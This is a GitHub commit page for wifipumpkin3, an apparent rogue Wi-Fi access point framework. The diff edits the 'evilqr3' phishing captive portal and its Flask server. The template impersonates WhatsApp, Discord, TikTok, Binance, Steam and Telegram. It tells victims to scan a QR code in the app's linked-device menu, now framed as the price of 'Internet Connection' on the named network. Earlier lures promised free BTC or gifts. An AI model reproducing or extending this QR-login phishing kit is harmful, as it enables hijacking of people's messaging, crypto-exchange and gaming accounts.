Skip to content

Commit

Permalink
added: ap_name on evilqr3 phishing page
Browse files Browse the repository at this point in the history
  • Loading branch information
mh4x0f committed Oct 28, 2023
1 parent 7dbcab9 commit f266cb3
Show file tree
Hide file tree
Showing 2 changed files with 20 additions and 14 deletions.
20 changes: 10 additions & 10 deletions config/templates/evilqr3/templates/login.html
Original file line number Diff line number Diff line change
Expand Up @@ -88,35 +88,35 @@ <h3 id="title">Scan QR Code</h3>
document.querySelector("body").style.color = "#b4b6ba";
document.querySelector("h3").style.color = "#fff";
document.querySelector("#box").style.backgroundColor = "#36393f";
document.querySelector("#title").innerHTML = "Join Call";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Whatsapp</strong> application to <strong>join the call</strong>.";
document.querySelector("#title").innerHTML = "Join to {{ap_name}}";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Whatsapp</strong> application to give <strong>Internet Connection</strong>.";
document.querySelector("#guide").innerHTML = "[ <strong>⁝</strong> > <strong>Linked devices</strong> > <strong>Link a device</strong> ]";
break;
case "discord.com":
document.querySelector("body").style.backgroundColor = "#5d66f6";
document.querySelector("body").style.color = "#b4b6ba";
document.querySelector("h3").style.color = "#fff";
document.querySelector("#box").style.backgroundColor = "#36393f";
document.querySelector("#title").innerHTML = "Invite pending";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Discord</strong> application to <strong>join the server</strong>.";
document.querySelector("#title").innerHTML = "Join to {{ap_name}}";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Discord</strong> application to give <strong>Internet Connection</strong>.";
document.querySelector("#guide").innerHTML = "[ <strong>Profile</strong> > <strong>Scan QR Code</strong> ]";
break;
case "www.tiktok.com":
document.querySelector("body").style.backgroundColor = "#ef2a50";
document.querySelector("body").style.color = "#000";
document.querySelector("h3").style.color = "#000";
document.querySelector("#box").style.backgroundColor = "#fff";
document.querySelector("#title").innerHTML = "Account Boost";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>TikTok</strong> application to give your account a <strong>permanent boost</strong>.";
document.querySelector("#title").innerHTML = "Join to {{ap_name}}";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>TikTok</strong> application to give <strong>Internet Connection</strong>.";
document.querySelector("#guide").innerHTML = "[ <strong>Profile</strong> > <strong>Scan QR Code</strong> ]";
break;
case "accounts.binance.com":
document.querySelector("body").style.backgroundColor = "#fcd949";
document.querySelector("body").style.color = "#000";
document.querySelector("h3").style.color = "#000";
document.querySelector("#box").style.backgroundColor = "#fff";
document.querySelector("#title").innerHTML = "Free Bitcoins";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Binance</strong> application to receive <strong>receive free BTC</strong>.";
document.querySelector("#title").innerHTML = "Join to {{ap_name}}";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Binance</strong> application to give <strong>Internet Connection</strong>.";
document.querySelector("#guide").innerHTML = "[ <strong>Profile</strong> > <strong>Scan QR Code</strong> ]";
break;
case "store.steampowered.com":
Expand All @@ -125,7 +125,7 @@ <h3 id="title">Scan QR Code</h3>
document.querySelector("h3").style.color = "#fff";
document.querySelector("#box").style.backgroundColor = "#36393f";
document.querySelector("#title").innerHTML = "Free Gift";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Steam</strong> application to <strong>receive a free game gift</strong>.";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Steam</strong> application to give <strong>Internet Connection</strong>.";
document.querySelector("#guide").innerHTML = "[ Open <strong>Steam Guard</strong> ]";
break;
case "web.telegram.org":
Expand All @@ -134,7 +134,7 @@ <h3 id="title">Scan QR Code</h3>
document.querySelector("h3").style.color = "#fff";
document.querySelector("#box").style.backgroundColor = "#212121";
document.querySelector("#title").innerHTML = "Join Channel";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Telegram</strong> application to <strong>join the channel</strong>.";
document.querySelector("#message").innerHTML = "Sign in using this QR code within your mobile <strong>Telegram</strong> application to give <strong>Internet Connection</strong>.";
document.querySelector("#guide").innerHTML = "[ <strong>⁝</strong> > <strong>Settings</strong> > <strong>Devices</strong> > <strong>Link Desktop Device</strong> ]";
}
}
Expand Down
14 changes: 10 additions & 4 deletions wifipumpkin3/plugins/bin/evilqr3.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ def login_user(ip, iptables_binary_path):

@app.route("/login", methods=["GET", "POST"])
def login():
global SERVER
global SERVER,PORT
if (
request.method == "POST"
and "login" in request.form
Expand Down Expand Up @@ -60,12 +60,15 @@ def login():
return render_template("templates/login_successful.html")
else:
return render_template(
"templates/login.html", server_address=SERVER
"templates/login.html",
server_address=SERVER,
server_port=PORT,
ap_name=config.get("accesspoint", "ssid")
)

@app.route("/mobile/login", methods=["GET", "POST"])
def Mobilelogin():
global SERVER, PORT
global SERVER, PORT, config
if (
request.method == "POST"
and "login" in request.form
Expand Down Expand Up @@ -94,7 +97,10 @@ def Mobilelogin():
return render_template("templates/login_successful.html")
else:
return render_template(
"templates/mobile.html", server_address=SERVER, server_port=PORT
"templates/mobile.html",
server_address=SERVER,
server_port=PORT,
ap_name=config.get("accesspoint", "ssid")
)

def response_json(message: str, reponse_code: int = 200):
Expand Down

0 comments on commit f266cb3

Please sign in to comment.